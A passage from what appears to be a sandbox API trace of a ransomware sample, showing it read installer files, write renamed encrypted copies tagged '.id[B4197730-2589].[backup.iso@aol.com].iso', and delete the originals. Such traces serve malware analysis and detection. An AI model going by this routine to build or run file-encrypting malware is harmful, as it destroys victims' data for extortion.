(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0096.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0096.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.587] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0096.587] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.587] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.587] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0096.587] ReadFile (in: hFile=0x328, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4158, lpOverlapped=0x0) returned 1 [0096.689] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4160, lpOverlapped=0x0) returned 1 [0096.693] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0096.693] CloseHandle (hObject=0x328) returned 1 [0096.693] CloseHandle (hObject=0x330) returned 1 [0096.702] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0096.704] SetEvent (hEvent=0x2cc) returned 1 [0096.705] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.705] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=4254) returned 1 [0096.705] CloseHandle (hObject=0x330) returned 1 [0096.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0096.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0096.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.706] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.706] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.706] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.706] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0096.748] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x109e, lpOverlapped=0x0) returned 1 [0096.991] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x10a0, lpOverlapped=0x0) returned 1 [0096.993] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0096.993] CloseHandle (hObject=0x330) returned 1 [0096.994] CloseHandle (hObject=0x310) returned 1 [0096.995] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0096.997] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0097.001] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3643) returned 1 [0097.001] CloseHandle (hObject=0x2c8) returned 1 [0097.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0097.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0097.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0097.002] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.002] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0097.007] ReadFile (in: hFile=0x2c8, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xe3b, lpOverlapped=0x0) returned 1 [0097.152] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xe40, lpOverlapped=0x0) returned 1 [0097.153] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0097.154] CloseHandle (hObject=0x2c8) returned 1 [0097.154] CloseHandle (hObject=0x330) returned 1 [0097.170] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0097.171] SetEvent (hEvent=0x2cc) returned 1 [0097.172] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0097.198] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18264) returned 1 [0097.198] CloseHandle (hObject=0x324) returned 1 [0097.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0097.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0097.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.199] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0097.199] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.199] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.199] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0097.200] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4758, lpOverlapped=0x0) returned 1 [0097.225] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4760, lpOverlapped=0x0) returned 1 [0097.227] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0097.227] CloseHandle (hObject=0x324) returned 1 [0097.227] CloseHandle (hObject=0x330) returned 1 [0097.229] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0097.231] SetEvent (hEvent=0x2cc) returned 1 [0097.231] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0097.232] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=68226) returned 1 [0097.232] CloseHandle (hObject=0x330) returned 1 [0097.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0097.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0097.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.232] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0097.232] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.232] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.233] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0097.233] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x10a82, lpOverlapped=0x0) returned 1 [0097.239] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x10a90, lpOverlapped=0x0) returned 1 [0097.242] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0097.243] CloseHandle (hObject=0x330) returned 1 [0097.243] CloseHandle (hObject=0x324) returned 1 [0097.248] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0097.250] SetEvent (hEvent=0x2cc) returned 1 [0097.251] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0097.251] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=15704) returned 1 [0097.251] CloseHandle (hObject=0x324) returned 1 [0097.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0097.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0097.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.251] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0097.252] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.252] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.252] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0097.253] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x3d58, lpOverlapped=0x0) returned 1 [0097.257] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x3d60, lpOverlapped=0x0) returned 1 [0097.259] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0097.259] CloseHandle (hObject=0x324) returned 1 [0097.260] CloseHandle (hObject=0x330) returned 1 [0097.261] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0097.263] SetEvent (hEvent=0x2cc) returned 1 [0097.263] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0097.263] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=12687) returned 1 [0097.263] CloseHandle (hObject=0x330) returned 1 [0097.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0097.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0097.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0097.263] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0097.264] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.264] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0097.264] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0097.866] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x318f, lpOverlapped=0x0) returned 1 [0097.992] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x3190, lpOverlapped=0x0) returned 1 [0097.994] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0097.994] CloseHandle (hObject=0x330) returned 1 [0097.994] CloseHandle (hObject=0x304) returned 1 [0097.998] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0097.999] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.012] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3546) returned 1 [0098.012] CloseHandle (hObject=0x310) returned 1 [0098.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0098.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0098.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.013] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.013] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.013] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.013] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0098.019] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xdda, lpOverlapped=0x0) returned 1 [0098.039] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xde0, lpOverlapped=0x0) returned 1 [0098.041] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0098.041] CloseHandle (hObject=0x310) returned 1 [0098.041] CloseHandle (hObject=0x304) returned 1 [0098.043] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0098.044] SetEvent (hEvent=0x2cc) returned 1 [0098.045] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0098.047] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=19288) returned 1 [0098.047] CloseHandle (hObject=0x304) returned 1 [0098.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0098.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0098.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.047] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, 